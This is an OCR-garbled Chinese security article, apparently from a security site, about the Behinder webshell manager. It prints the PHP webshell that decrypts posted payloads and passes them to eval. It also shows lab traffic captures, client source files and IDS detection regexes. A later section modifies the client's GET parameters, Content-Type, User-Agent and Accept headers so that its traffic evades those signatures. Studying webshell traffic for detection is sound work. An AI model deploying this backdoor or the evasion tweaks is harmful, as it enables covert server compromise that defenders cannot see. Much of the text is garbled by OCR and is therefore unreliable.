7KEG, MAIIZIER

X2 B SERA Y5 49 B E.

3G 3251 N7, TSRS 11 2%,

0x01 fHARnkig?

KR B— el TSR EEE Fin. 5L, 55— webshell EE T A "%JJ"
E’Jﬁ% FHIEFHEPEE, REZURZERE0NE, ETREINZR webshell T8I
"IKES" TELERIETAE,



L1)]
| URL: [http://192.168. 81. 130/shell. php

EFES | ®oMIT| EREM| HEE | socks {0 | Fd¥snell | HERER | AENMB| LR | BHESe |

e

System Windows NT WIN-CHTN2KS 149M 6.1 build 7801 (Windows 7 Professional Edition Service
Pack 1) i586

Build Date Jul 20 2016 11:08:49

Compiler MSVC11 (Visual C++ 2012)

Architecture x86

Configure cscript /nologo configure js *-—-enable-snapshot-build" "--disable-isapi® "--enable-debug-pack” "-

Command -without-mssgl* “--without-pdo-mssgl* “--without-pidweb" “--with-pdo-oci=C:\php-
sdkioraclexB6\instantclient] \sdk shared” *—with-oci8=C: \php-sdkioracle\x86unstantclient10
\sdk,shared" "--with-ociB-11g=C:\php-sdkioracle\xB6unstantclient1 1\sdk,shared" *—-enable-

. ohiect-out-dir=. Jobi* *--enable-com-dotnet=shared" “--with-mcrvpt=static” "--disable-static-
TiEae

"IKIE" EFIRET JAVA, FRLAALAEFEER, &HhRA v2.0.1, FREMHRZBIRIMRATE
KigF. 2R BEXMER. a7, ElRIR, KHEHE. Socks LI, 34 shell,
HEEEE. BEMMBE, NaEFEEX.

0x02 Nz /wiE

AL PHP ARG, "ikiE" 1ERRSSImsHF open_ssl B, {#F3 AES INEEE, HIAKE 16




i, BAJFRYY AES-16, LEFERRARAR (S RALIERSRT AES I5SEB B/ FKIES) LERER
IR, RERXE, EBESRENE.

INEZ AR N BT :

2 i e 55 4%

GetiF K
BEBE & B~ TR
\ 4
B4R E ASession
v
Eﬂfﬂﬁ - BFERE R
fn&EPayload
l Posti& K
AZ3ixPayload > £ TPayload

l

FHHTEE < #{TPayload




BEEFimkd Get FLZUAREHERBRIEK.

RS imr=4EBEN R, B ABN Session FHEZRIRMEIZ i,
ERIRFREEAMS, 1§ payload F AES EixiN=;, A POST el &i%iE K.

RS mITENSXK, A Session FRRYERREEISHKAY Body &%, Z/GHfT Payload, EIRE
SRIR[ERE= .

EFRRBIRREIER, B2 Ul REL.

HABREEF, "KIE" EHT Payload Z/ERRE], FREERINE, X=EITATLUMNE®
#9 webshell FFH,



shell.php
<?php

error_reporting(0);
session_start();

(isset($ _GET['pass’]))

$key substﬂ(mdﬁ(uniqid(rand())),;a);]
$ SESSION[ "k’ ]-$key;
print $key;

$key-$ _SESSION[ ‘k"];
$post-file get contents(“php://input”);
(!extension_loaded( "openssl'))
{
$t-"basebd " "decode";
$post-$t($post.“");

($i-0;%i<strlen($post);%i++) {
$post[$i] - $post[$i] $key[$i+1215];

!
J

$post-openssl_decrypt($post, “AES128", $key);

}

$arr-explode('|",$post);

$func-$arr[0];

$params-$arr[1];

class C{ function __ construct($p) {eval($p.-"");}}

C($params);




INI AR IE A AT K 2% ] 452

SANEEEERE—T S (ORR, FEERE,

0x03 BEHE

A 1A wireshark SKIMBET "ikig" BETIE:



GET /shell. phpipass=5693 HTTE/1.1 -
Content-type: application/x-www-form-urlencoded

User-Agent: Hozilla/S.0 (compatible:; MSIE 9.0; Windows NT 6.1: WOW64: Tradert/5.0: SLOCZ: .HET CLE 2.0.50727; .HET CLE 3.8 30728: ,KET CLR 3.0.30728; Nedis Cemter PC 6.0:
InfaPath. 3. .NET4.0C: .NET4. OE}

Host: 192.168.81.130
Accept: text/htal, image/gif, image/jpes, *. g=.I, /v g2 ﬁ
I,

e 1
ot sans ket —Kijjilwebshell
ETTF/1. 1 200 0K

Date: Thu, 09 Jul 2020 08:43:13 GET

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2§ PHP/5.5.38

H-Fowerad-By: FHP/G.5.38

Set-Cookia: P‘HPSESSIDEmM!D:JN”ﬁWMﬂmﬂ path=/

Expizes: Thu, 19 Few 1981 08:52:00 G

Cache—Control: no-store, no-cache, mtt-:mlidnt. post-check=0, pre-check=0

E%E;ﬁ;g":tﬁzus nax=100 Hﬁ%jﬁ‘ﬁﬁ IE' : ﬁé’ﬁ% m

Corpection: Keep-Alive
Contemt-Type: text/htal

1c561423644749, fzhell. phpfpass=362 HITR/L. 1

Cortent—type: spplication/x-www—fors—urlencodsd

Ozer=Agent: Wozilla/6.0 (compatible; WSIE 9.0. Windows NT 6.1: WOWGd. Tridemt/B.0: SLOCZ. .RET CLR 2.0.50727; .MET CLE 3.5.30729. .KET CLR 3.0.30720. Nedis Cemter PC 6.0:
InfoFath.3; .NET4.0C: .NETA. OE)}

Bowt RGN - i : +—

Accept: teut, LA 8, gm0 — 5

Conmect Lon: luy—'ll:::‘ B e - aa;_,}k lﬁ ]‘E] “’eb ShE‘:l 1
|mTTR/LL 1 200 0K

Date: Thu, 08 Jul 2000 08:43:13

Server: Apache/2.4.23 (Wind2) dplnSSI.!l. 0.2j PHP/5.6.38
I=Fowerad-Dy: FHP/6.5.38

Set-Cookie: PHPSESSID=djmtikscj2fivstudgfdifqe??. paths/
Expires: Thu, 19 Nov 1881 08:52:00 GNT

Cache=Control: no-store, no-cache, musi-revalidate, post=-check=0, pre=check=0 = -

Fragaa: no-cache AR % i [m], o5 1 #
Content=Longth: 16
Kesp-Alive: timesmtz5, max=99
Cormection: Keep-Alive
Comtent=Type: text/htal

016196756411 Te08FOST “h:jl -php HITR/1. 1 R
Content-Type: spplication/z-www-fors—urlencoded + b . 1 e

Cockae: mssmsmkmamwﬁwzz nlﬂFf LJ" POSTﬁiti a:Fﬁll:lj:”] %—ﬁ{m

Uzer-Agent: Mozilla/B.0 (compatible: E 9.0. Windows NT 6.1 WOWSd: Trident/5.0. 2. .BET CLR 2.0.50727; .HET CLE 3.5.30729; .BET CLR 3.0. 30728 Media Center PC 6.0
InfoPath. 3. .NET4.0C: .NET4. (E)

Cache-Cantrol: no-cache

Fragna: mo-cache

Host: 192.168.81.130

hecept: text/himl, inage/gif, image/jpeg, ®. g2, % g=.2
Cormpction: keep-alive

Cortent-Length: 1068

bmm:mu-srmﬂ&nmw?l J2VOLAPS ol Bw/TY2PwQTY 3Wh TBOnSr 1 AT dCKkeC G180 10CP SnSEeapWed 25r )35/ BN1 ISTaCYHPh S+t abf/ dSolOM: SCKCe D0VemlIT gCTlgLugne /¢ End Te vBug Je804/
Soa+0kINUDE 1 dSGEvES ] cP TeCovah RO BCTQY 1 Sv T IMrrewr v I WK 1 1 BuCh IC 31 THAQ TOW+EULNA g 12 5CoP i dRr AEhe TERL navB oOn+ EAE ZX oROUL 2URWaqNL 26Vt 4 40 dqqe TaSERT Tof O TLE gRud §80RaIMpVIQV2 GXD1Fw
¥owBYFYRT/ 3TUhg | ESCx Tos02t NV I W0 AYWaF T IL ILEG AwT AVD Ve o +HHGR e e FVBTS j ¢ IUN 324 Yp IS4 ukos cEDVI Bvk I qalll #vur S 32uT HE cwBiMpA Lw | PHSORZ SRpO NG ¢ FG 2w B0 UuyaFUS cVBJL VDL ug 1 jukQcHTT 1L gHEEFS
JESASPPA3 jAhuz+o8sqT4EUPwbY JuAf =L ACaTuT aHZNE1 6FL 101 0oy PNE +nQ/ @t Y4V2vihf ANC/ obED jast dSKSD 1 {HUT iE/ T 10xRu¥lzk 1 qR9qEaTLE Y a i b MURPGF 1153028 0 2] t/ NHavDLANL/
TejhnzeXd® Sike SHWI ] ISnHNT0 g SWQAG 300y ddanSDy/ KHyk IDGUBDYS eVek ik st 9T 11/ INTt JWDN Tp aldlefx jol 24 b g CuldNT 4R+ SFkwi020q T Adhd 2y 9T o KbaHSyk SBRER| jCqblck/
CovuTOFbahGtuf hWTRwds r W0l og UhRa 2 TEUHG T IBURKIooML 2o 9Rp SFUe o0 Te Symud0 STE 6lAAr cskByF ie ) chbatr RAuT+KnlieP It Sy WDl Uk 1Qr IvG rDLqwq 2DVAY 3y0oin chad i ThEubGBn/
uVqdaENVO+166CUe InTkust | reFzrDIngl ETATALLgs L2 Tal 33 UCF i jgugdeH/ NEF IuF ¢ I4=HTTF/1. | 200 OK
Date: Thu, 09 Jul 2020 08:43:13 GNT
Server: Apache/2.4.23 (Wind2) OpenSSL/1.0.2j PHP/S.5.38
X-Powerod-By: PHP/G. 6. 38
5?;;::?1 Tlu.l.l 18 Nov 1981 Uirmﬂ GUT — T T
ontrol: no-store, no-c surt-revalidate, post- , pre=cl .
ot T PR 25354 [ FF 4 25
|Content-Length: 128
Keep-Alive: timecut=5, nax=93
Cormection: Kesp=Alive
Content-Type: text/himnl

G4/ €10h0mR AR p Segak YTt VaeHaL+pWUSROFRp WU Ty = T0L TCENd =g 4/ 0 | w/ diSdvT OsvsPeAlOacwEdutty prF oY T iMVEATWAT4EuB/ MVeORANT o6¥E2c fx Vwk TPOST /ehell. php HTTR/1. 1

Content~Type: spplication/z—www—fora-urlencoded

Cookie: PHPSESSID=djntkkic)2fdvstudgfdifiqe?2: path=/

Dser-Agent: Mozilla/5.0 (compatible; MSIE 5.0; Windows NT 6.1, WO¥64, Trident/5.0; 5LCCZ. .BET CLE 2.0.50727; .NWET CLE 3.5. 30725, .KET CLE 3.0. 30723, Hedia Certer PC 6.0
InfoFath. 3; .NET4.0C; . HET4.(E)

Cache=Control: no-cache

Pragaa: no-cache

Hast: 102 1RR. A1 130




MMBER BERKE, INERENER, £EEANEIIZRTHRITR.

FAIRIRS mRERER, N iR RKERIR ABTHITRE.
R SR A TS

error_reporting ( }
function m: IJI(

$result

$result[": us™ rase6d_encode(“success™);
$result["msg"] ase sncode($content) ;
$key — $ SESSION[ ‘k'];

echo encrypt ( ]SON_end -|-1|'($r‘€15ult),$kf",l");

n encrypt($data, $key)

ctension_loaded('openssl’))

($i-0;%i<strlen(%data);$i++) {
$data[$i] $data[$i] $key[$i 151

}
$data;

penssl_encrypt($data, “AES128", $key);

HEMZOABTRE— MR JSON #8z{aY success BUIRE], BESIES
—ENE, FrLAFAIIEZ webshell Fi&EINZ, MmiREINZINZEM,

0x04 FhdiEE

LER(H AES B3



WG A—EEENMIA R, BRRIEKBHEFEER, MEEAMEEFREH. "KiE" /Y
BHThRZAS v2.0.1, fEAMT 2019.2 ZIepii B TIIEH. MEAT BIRNRS R WAF 13
BENERHEH T HIIAMN,

FHRHIM:

1. L& [24504]: EFURIBISQLEA

2. Igeh[24505]:Apache Axis 1.4 FERREBHAT(CVE-2019-0227)
3. IxE[24506]:Coremaiie ZRME EZSERHERR

4, IE[41696)[238p0=PHP Webshell3Z{# L&

5. L& [41697)[#48pI==ASP Webshell3Zi4 L&

6. X [41698)|k48pN=; ASPX Webshell3Z{ HE

7. Ii5[41699)|2k48BpnE= ISP Webshell3Z4 &

8. ii[24507]:httpidzkuri/referer=RRBFEMH

—. fEesoRn

27004872 thinkphp5.x_controller_name_rceffi4kthinkphpifiEBoiF#I0Y
25612336 PHP Shell inject{E{tas<iE A BHIFHIMI

25612334 linux command inject{E{ta<-EN TGP

18612236 password_access{iitiEESatini-Am

27526166 WeblLogic_Async Remote_Code_ Excute{fi{tWeblogicli#H1m)
RAGEE EEMN, EhkiSWebshelFEAE




Baiﬁ.‘ﬁrz | IKERERE ©

QRE O Lia B8R OmE OXF bWe O oE &%

R AR R 700 BRTR
RRNESSH? SHEMN 8 - FreeBuf RS2

2019511420 - XNEER KEENFE BEHI S SHEENURLEE BST2m
EMNURLEE BEI3AcceptTR(TT4T) B4 UserAgentZ R (P14
https://www freebuf.com/news/2... - - BERER

ST Nk S webshell 3 i

o=

PHP 12306/)\Sf-CSDN{#Z

2019688218 - IFolLABFIKEV1. 0488 BiY SR HERE user-agent STER
ERBEDTRE, TLUETuser-agentift TR NS, EREPOSTEEEFEVILE..
© CSDNEARK - - BEthER

- EEERANECHERER TINE BNENEEREREERREE
BZ=EE T WebShel kb s LitiEE—1)...
https://www.freebuf.com/column... - - BEHRE

S0 ebShell B iR KNLE 45
2019512888 - ABEHHrEMHEKERARBMEA @asplaspx|jsplispxlphp) EE %
ZERIMKE NSRS S snortiI,  AcceptEHTTPHNVE B..
& BN - - EERE



JRhR "7kiS" BEEAREHRERLMAERT , XINBR(IEEBCHF.

Zlifi, mMAME #HB2NFT

0x05 EEXUES

B5cA ID-GUI F4miFTHE, RiwiF JAR B3%5IRE. JLINFALUIEE Ul I45IANRE S
E3, "8 (£ T SWT EZ{EH U,



/= Behinder, jor s

& NETA-INF
& E net
@ rabeyond
=@ behinder

Basu-lnfaunls class

o Cadltils. class

ConmectBackltils. class

CustenStyledText. class
ﬁﬁutu‘[nhle class

DEManagerUtils. class

EvalUtils. class

H F:le[mgﬂluls class
MainShall. class

s ProxyFore. class

o ShellFors. class
Surur class

&&!EE&.B&&E}E}&‘BEWE

- DS_Stdm
& org. eclipse
£ & test
) .DS_Sters
ase=3. 3. 1. jar
javax. servler-api-3. 1. 0. jar
Json=20180130. jar

i Main class it

package net.rebeyond.behinder.ui;

= import fave.awt,Toolkit;
import java.awt.dotatransfer.Clipboard;
import java.swt.datatransfer.StringSelection;
import Save.awt.detatransfer.Transferable;
import Java.fo-Bytearraylnputstreas;
import javas.net.InetSocketaddress;
dmport Sava.met.Provy;
dsport Java.sql.Tisestasp)
import java.text.SimpleBateformat;
isport java.util.Map;
isport neb.rebevond beninder. core, ShellManager;

org. eclipse. core. connands_3. 9. 0. v201T0530-1048. Jar import geg.eclipee, tut widgets, Label;
org. selipse. coro. rmting_3. 13, 0,v20170207-1030. Jar e W 2t I :
org. eclipse, text 3. 6. 100, v201T0203-0814. jar e

&l&&&l&&&l B

8
28
= jsp=api=2. 0. jar
S8
H

BESAIX IR 1B 12 Eclipse %% WindowsBuilder, kEZSIZE SWT IiH.,
4 WindowsBuilder

£ Eclipse B9 Marketplace 82 WindowsBuilder, sath Install BiaT%&E,



==Fclipse Narketplace

Eclipse Marketplace

Select solutions to install.

Press Install Now to proceed with installation.
Press the “more info” link to learn more about a solution.

SearcthecentIPopularlFavoritesIInstalledl: Giving IoT an !dgel

Find: |2 VindovBuilder X [A11 Markets

:l IAll Categories :] Gol

e
LB+

* 582

WindowBuilder 1.9.3

*kk NEW VERSION 1.9.3 #*kx ¥WindovBullder is conposed of S¥T Designer and

., Swing Designer and makes it very ecasy to create Java GUI applications
¥ without spending a... more info

by Eclipse Foundation, EFL

| Installs: 398K (11,853 last month)

Install I

ZIEHAEEOIEET SWT INH, RIAERE swt iRKSERIRIE .




==Nery Project

Select a wizard
Create a Java project with SWT/JFace support

Vizards:
|type filter text

-(= General

(= Gradle

(= Java

(= Maven

= Plug-in Development

= W¥indowBuilder

=-= SWT Designer

[ SWT/JFace Java Project

#-= Examples

o-&-#H-EH-EH-®

BA M RmEL BRYRISH JAR BSAINE, EEEERFSIESERE (28 —KNKRES
HRES, ALUSHMRFEETIENICERKEL) FHEGRIBEEE.



| S NN - A AU R R = R TR A e e e A

% Debug 4 Project Explorer 1 B % i) Main. Java & [ BaslcInfo. Java

= &3 Behinder ) ) 3G

® f JRE System Library [JavaSE-1, 8] A0S public static vedd main(String[] args) {
5 sre 41 t
= [ net. rebeyond. behinder A7 id £“ Main{).opan{);
L2 . b
43 } eateh (Exception e) {
y a4 e.printStackTrace();
g8 ul 45 }

- ) BasieInfolltile. Java }
& M) Cadlitile. java z
- ) CormectBackUtils. Java ﬁ!ﬂ'ﬂ v2. 0.1 ECHUNMENLEREREPR [1001: %K wwv. t00ls. netd
- [ CustonStyledTert. java
- U] CustonTable. java —M
& I} DEManagerltile. Java URL [ze [hEEs | Wass | osRB [ ik [ ) I
w ) Evalllille. Java hetp:/ /192, 168 81. 130/shell. php 192, 168, 81. 130 pass php vinnt 2020-07-08 15:49:53
&40 FileNanagerUtils, java
o) Naln Java
& ) NalnShell. Java

& ) ProxyForn. Java
= ) BhellForn, Java
- 4] Srarter. Java
&8 utlls
w5 org. eclipse
= @ Referenced Llbrarles
o= 11bs

4 data. db

REETA IR T RINEER T RIEEZ /RIS,

0 error(s), 0 warning(s)




FILABEMB St E RS, TEEEEE net @, Mainjava AiERFAL. XEERN
BT MERICEBRER:

=8 sre
= 4 net. rebeyond. behinder
=48 core
#-[4) Crypt, Java
& 4) Decrypt. java A &l jJ .:—L:Jl IJ‘,‘=< ﬁjﬁ e %
®-d Para::,jfwa 4————’__—__—__- @'L\ ]-j] He» % ﬂ{ Y Shel 1 | ~ B }E S
) PluginUtils. java
& [4) ShellEntity. Java
@ [4) ShellNanager. java
®-4] ShellService. java
=48 paylead

cmwr o FNEFRMIIREMPay loadfthY

& B esharp

-8 Java

#- & php - -
@ B resource - LI%*A-‘ Jﬂl_‘%
248 ul

M) CrdUtils, Java
@[] ConnectBackUtils. Java
w- 4] CustonStyledText. java T &y
- 4] CustonTable. java P LI??‘E’ EE Ij] EE'_"_'X;J-E
#-uf) DENanagerUtils. Java W
@ [4) EvalUtils. java
®-i) FileNanagerUtils. java
- i)
@ 4f] NainShell. Java
&) ProxyForn. java
w- 4] ShellForn. java
@ [J] Starter. Java
-4 utils
©- @ Je
#-[4) BasicAuthenticator. java
@4 CipherUtils. Java £ A, =1 A
s :lJJ Constants. java 44— IE\-%, rrﬁ %EEE%%EME
¥ ProxyUtils. java
- 4] ReplacingInputStrean. java
i#-uf] SSLExcludeCipherConnectionHelper. Java
& [J) StringJavaObject. java
w-4) Utils. Sava

#- 4] BasicInfolltils. java

HFXRIFERIREIE, AHE A,



ImAFE

0x06 4HEERER

LIRS _ESZ RS KB FHENERISE, RS LFHEFISERHIES FIESURER, LA PHP
WA/, EfbiEShRA SR T,



1. Z5RASHARTHY URL &2

ESETRIMEEHRIIISE, B GET 5K, BOA webshell R9EERSA pass, HEZ

#EJ 3 (URETIEF.

GET /shell. ph]:-‘l]:-ass=593 HTTP/1. 1

Content—type: application/x—www—form—urlencoded

User—#Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6. 1; WOW64: Trident/5.0;
.NET CLR 3.5.30729; .NET CLR 3. 0. 30729; Media Center PC 6. 0. InfoPath.3; .MET4. OC;

Host: 192. 168. 81. 130
Accept: text/html, image/gif, image/jpeg, *, g=.2, */* qg=2
Connection: keep-alive

M webshell £F, S8(ERIMETEFHEEHALIRMER:

< ?php

error_reporting(@);
start();
t($ GET[ "pass']))

$key=substr(md5(unigid(rand())),16);
$ SESSION[ 'k’ ]-$key;
print $key;

EFiRCE LE B R EME:

A Utils. Java 2

disablesstVerification();

Map<String, String> result = new HashMapes();
StringBuffer sb = new StringBuffer();
InputStreamResder isr = null;

BufferedReader br = null;

URL wrl;

public statiec Map<String, String> getkeyAndCookie(String getUrl, String password, Map<String, String: reg

SLCCZ,

. NET CLR Z. 0. 50727,

. NET4. OE)

Headers) throws Exception {



if (getlrl.indexOF (™) » @) {
url = new URL(ge t rl + "&" & password ¢ "=" &+ (new Randem()).nextInt(loda));
} alse {
url = new URL(getUrl + "¢" # password + "= + |(new Random()).nextInt(100a));
}

FAIRE TR BRI IR

\- (php| jsplasplaspx)\2(\w){1,10}=\d{2,3} HTTP/1.1
IZAIETLADLER 1-10 AIEEFRBHY webshell, FESEIER 2-3 (94,

e B

IEINRE AR BRI SEAREE BIERNEEF)  HEEIESHEERENS .

IESUSRIZER :

GET /fshell.phpyrcieluP=buobul&7EhROL= CB&IQLz&pass—FLFfs&RBFaMzR ESZAE&CTHHHU=p IM3R6F&eAkNBR=NYGL0 HTTP/1.1
Content-type:

User-Agent: Mozilla/5.@ (H:lndcms U; Windows HT 6.1; en-Us) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33
safari/s34.3 SE 2.X Metasr 1.0

Host: 192.168.81.130

Accept: text/html, image/gif, image/jpeg,
Connection: keep-alive

*; q=-2, */*; g=.2

2.header Ffy Content-Type

ZMATE header Y Content-type FE;, E—R%IER FAY GET F2zlipR@RB1Z=FERN, R
B POST EXHUIBIRIA SR, B "KiB" FER GET FEzUiAR POST FeXliNisaag st
R, WEHTHRARLE, MEIZFERIIANSEREE, FRUETFX M UERTTLFYSR,



GET /shell. phpPpass=593 HTTP/L. 1

Content—type: application/x—www—form-urlencoded |

User—Agent: Mozilla/5. 0 (compatible; MSIE 9.0, Windows NT 6. 1. WOW64:. Trident/5.0; SLCCZ; .NET CLR 2. 0. 50727,
.MET CLR 3. 5.30729; .NET CLR 3. 0.30729; Media Center PC 6.0; InfoPath.3; .NET4. 0C; .NET4. OE)

Host: 192, 168 81. 130

Accept: text/html, image/gif, image/jpes, *. q=. 2, */% g=. 2

Connection: keep-alive

Hell 1B NIXHRERAIAIAES:

ShellService. Java I

248 public ShellService(JSONObject shellEntity2, String userfgent) throws Exception {

25 this.shellEntity = shellEntity2;

26 thiz.currentUrl = shellEntity2.getString(*url®);

27 this.currentType = shellEntity?.getString(“type");

28 this.currentPassword = shellEntity2.getString(“"password™);

29 this.currentHeaders = new HashMap();

30 _this currentHeaders out("llser-Asant™  jjosrfosnt):

31 if (this.currentType.equals("php™)) {

32 this.currentHeaders.put(“Content-typa™, "application/x-www-form-urlencoded™);
33 }

34 margeHeadars(this.currentHeadars, shellEntityi.getString(“headers”™));

35 Map<String, String» keyAndCookie = Utilsth:ls.curr‘ent].lrl, this.currentPassword, this.currentHeaders);

ShellService {$Z&— Shell [R5, FEEEEREF 31 /7HIKT T, WRSEEZE php T
header I\ Content-type 3k, {BTE 35 1789 getKeyAndCookie [IfRSZimA&IX GET 53K
EEREARY, 5 header Sk ANEAR, FTLUKRIE GET i kERESETILSE],

1EEUBES

GET #.z0i5IaRd7E header ch&igIb=FER, POST F/=imaiti&{ER s Content-Type {BEX
"text/html; charset=utf-8" LfiliEZ 2@ (EBaILAAK) .



IEBURAIER :

GET 153k :

GET /shell.php?nLxqrR=FhQWUs&qHUYLQ=AAUYTZ2E&pass=wKpQ3k&0 Icha=MEskATEDFUSE=C55MQ&vbz féeF=cpUlyC HTTR/1.1

user-Agent: Mozilla/5.e (Windows; U; wWindows NT 6.1; ) ApplewebKit/534,12 (KHTML, like Gecko) Maxthon/3.0 safari/fs34.12
Host: 192.168.81.130

Accept: text/html, image/gif, image/jpeg, *; g=.2, */*; q=.2

Connection: keep-alive

POST i&3K:

771db3c 5adeabd6aP0sT /shell.php HTTP/1.1

Content-Type: text/html; charset=utf-g8 |

Cookle: PHPSESSID=n3832119rf9153b1fcg739j7ps; path=/

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12
Cache-Control: no-cache

Pragma: no-cache

Host: 192.168.81.130

Accept: text/html, imapge/gif, image/jpeg, *; q=.2, */*; q=.2

connection: keep-alive

content-Length: 1068

3.header #fJ User-Agent

User-Agent 21 8HFPIE, SE88NERIHRMERAEFEEIRE. T "/KiB" NEEMAFE
User-Agent $56I(4[afR, HRFIRAESEBRTIXNERRE, BRAERE: 81 shel i EZSM 17
MNHRER UA BERBHLIEE—,

GET /shell. php?pass=593 HTTP/1. 1

Content—type: application/x-www—form—urlencoded

User—Agent: Mozilla/E. 0 (compatible; MSIE 9.0, Windows NT 6.1, WOW64, Trident/5. 0, SLCCZ, .NET CLR 2. 0. 50727, .NET CLR
3.5.30729; .NET CLR 3.0.30729; Media Center FC 6.0; InfoPath.3; .MNET4.0C; .NET4. OE)

Host: 192, 168, 81, 130

Accept: text/html, image/gif, image/jpeg, *, q=. 2 #*/%; o= 2

Connection: keep-alive




FE TXEBAY JAVA 5!

Ul BaslcInfolitile. Java IT

B publie statiec vedd
& 65 int valndex =

-nextInt{Constants. userdgents. langth - 1);

fonstants. userAgents (ualndex];
e o]

=

baselnfoView, finmal Tree dirTree, final Text cadview, final Label connectitaty

BILIEZIEMIMNEE Constants.userAgents HEX T —/ME.

[#) Conztants, Java 1
B ! package net.rebeyond.behinder.utils;

F

! public class Censtants {

I»

5
“Morilla/4.@ (compatible; MSIE 8.9; Windouws NT 6.1;
"Mozilla/4.@ (compatible; MSIE 5.9; Windows NT 5.1; Trident/d.d; GTE7.O)",
“"Mozillaf4.@ (compatible; MSIE 7.0; Windows NT 5.1)°,
"HMorilla/4.@ {(compatible; HSIE 6.9; Windows NT 5.1; Swi)®,

4 public statlec dnt ENCRYPT_TYPE AES = @5

5 public static dnt ENCRYET FYRE XOR = 1;

& public static dnt MENU ALL = 60005,

7 public static int MENU CEEAR = £096;

8 publie static int MENU COPY = 16;

9 public static int MEMU COT = 1;
19 public statlc dnt MENL PASTE = 256;
11 public static int MENU SFLECT Atl = B5536;

12 public static dnt PROXY DISASLE = 1;
13 public static int PROXY ENABLE =
14 public static int AEALOMD RUANNING = @)
1% public static int REALOMD STOPPED = 1;
16 public statie String VERSION = "v2.0.17;
17e public[static String[] wserdgents = {
18 "Mozilla/5.9 (Hindows NT 6.1; WOWG) Appledebiit/535.1 (KHTML, like Gecko) Chrome/14.9.835,163 Sefari/535.1%,
149 "Mozilla/5.@ (Hindows NT 6.1; WOWGd; rv:6.0) Gecko 20180181 Firefox/6.87,
28 "MorillafS5.0 (Hindows NT 6.1; WOWGA) Appledebiit/534.58 (KHTHL, like Gecka) Wersion/S5.1 Safarifs34a.5e=,
21 “Operaf9.80 (Windows NT 6.1; U; th-cn) Presto/2.9.168 Versionf11.50%,
2 "Mozilla/5.@ {(compatible; MSIE 9.8; Windows NT 6.1; Wintd; x684; Tridenty5.0; .NET CLR 2.0.50727; SLCC2; .MET CLR 3.5.30729; .NET CLR 3.0.30729; Mec

3 WOWB4; Trident/a.9; SLCCZ; LNET CLR 2.8.5@727; .MET CLR 3.5.30729, .NET CLR 3.9,30729, Madia Ce

"Horilla/5.2 (Hindows; U; Windows NT 65.1; ) AppleMebit/534.12 (KHTHL, like Gecko) Maxthon/3.2 Safari/s3d.127,

"Mozilla/f4.@ (compatible; MSIE 7.0 Windows NT 6.1; WOWA4; Trident/5.0; SLCOC2; .MET CLR 2.0.5@727; .MET CLR 3.5.30729; .NET CLR 3.9.30729; Media Ce
"Mezillafa.@ (compatible; MSIE 7.0; Windows NT 6,1; WOWB4; Trident/s.0; SLCC2; MET CLR 2.9.50727; .NET CLR 3.5.30729; .NET CLR 3.9,30729; Media Ce
“Mozilla 5.9 (Hindows; U; Windows NT 6.1; en-US) AppleWebkit/534.3 (KHTML, like Gecks) Chromef6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0°,
“"Mozilla/5.@ (compatible; MSIE 9.9; Windows NT 6.1; WOWE4; Tridenty5.0; SLCC2; (MET CLR 2.0.50727; (MET CLR 3.5.30729%, .NET CLR 3.0.307219; Media Ce

31

P “Mozilla/5.@ (Hindows NT 6.1) AppleMebkit/535.1 (KHTML, like Gecko) Chrome/13.9.782.41 Safari/535.1 QQBrowserth.9.11879.281"°,

33 "Hozillaf4.@ {compatible; MSIE 7.8; Windows NT 6.1; WOWG4; Tridenty/5.8; SLCCZ; .MET CLR 2.8.5@727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Ce
34 "Mozilla/f5.@ {(compatible; MSIE 9.8; Windows NT 6.1; WOWB4; Trident/5.0)% };

s )

BURAGEIEZE UA B ERTNIETERhRASELAZIR, than: Chrome/14.0.835.163 & 2011 HA%RAT
W7, Firefox/6.0 2 2011 SFAUMRA., XAMRISEEEARDAGER, FLUGIERABRE, 7]

LAEIRNIZE,




(BB

(EFRHAThR AR E TLNILEEE UA SRERRENIEN VA BE.

IEBURRIRER

2020 F=45 1Y Firefox 75.0:

ph R 2 L0 )H pa ¢ o OTEpIE J =NULRSQE&YIMHTXF=2NVTH HTTP/1.1 f’
ser-Agent: Moz:l]a.fs [&] (wlndows NT 6.13 wmsa X6A; rv: '?5- ) Geckofzamalal Flm{oxf?s @
AGSC: 1927, 169.81. 130
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; gq=.2
connection: keep-alive

2019 &£ 11 B&%E Chrome 78.0.3904.108:

shell. php ?fyc75=1vS0f2 1&rcMLP ry=tathyWnfDi Ib8=bIuMmS&pass=IyMUNNh&KEYero j=86fpusafo20L=NBhtx jT HITP/1.1 i‘
user-Agent: Mozilla/5.0 (Windows HT 6.3) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 safari/537.36 |

Host: 192.168.81.130

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

connection: keep-alive

4.header 5989 Accept

7EI53K header HfY Accept FEREVASE—NUIREFIZANE, IHETE GET F2z{F0 POST =
E’Jl%Z‘ZEPi’JT_ . IE-%E’JISU RS ERIREIRRIARI T Accept BUBASRBXMFRY, AL
Wl

GET 153Kk

GET /shell.php?fVc7s=1S0f218rcHLPry=tgthyWnEDibE=bIuIMSEpass=IyMUNNEKEIer0]=8Gf gUaso20L-NBhtXIT HTTP/1.1 il

Hrnm Ammmds MamiTTalfc A Aldnda s T £ 3% AmaTlainbheis fcas 9 Fenvan flen rFrarbay Fhosrma i A Anna Aanan cadamd fcer s



UDSENTMEEIILE MULLLlad) F 0 L WAIIUWUWS T D3 ) APPIEWEURLL] 337« 30 LRATML, LARE WELRU) LHTUINES 70 O T, 400 Sd1dl L) 337« 20
Host: 192.168.81.130

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive

POST i#&sk:

5¢95e7d3906724bbP0ST /shell.php HTTP/1.1

content-Type: text/html; charset=utf-&

Cookie: PHPSESSID=65t6ntddq22cgsg2hoc?8mcr?; path=/

user-agent: Mozilla/s.0 (windows NT 6.3) Applewebkit/537.36 (KHTML, like Gecko) chrome/78.0.3904.108 safarifs37.36
Cache-Control: no-cache

Pragma: no-cache

Hosts 192,168, 81,120

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2|
Connection: keep-alive

Content-Length: 1068

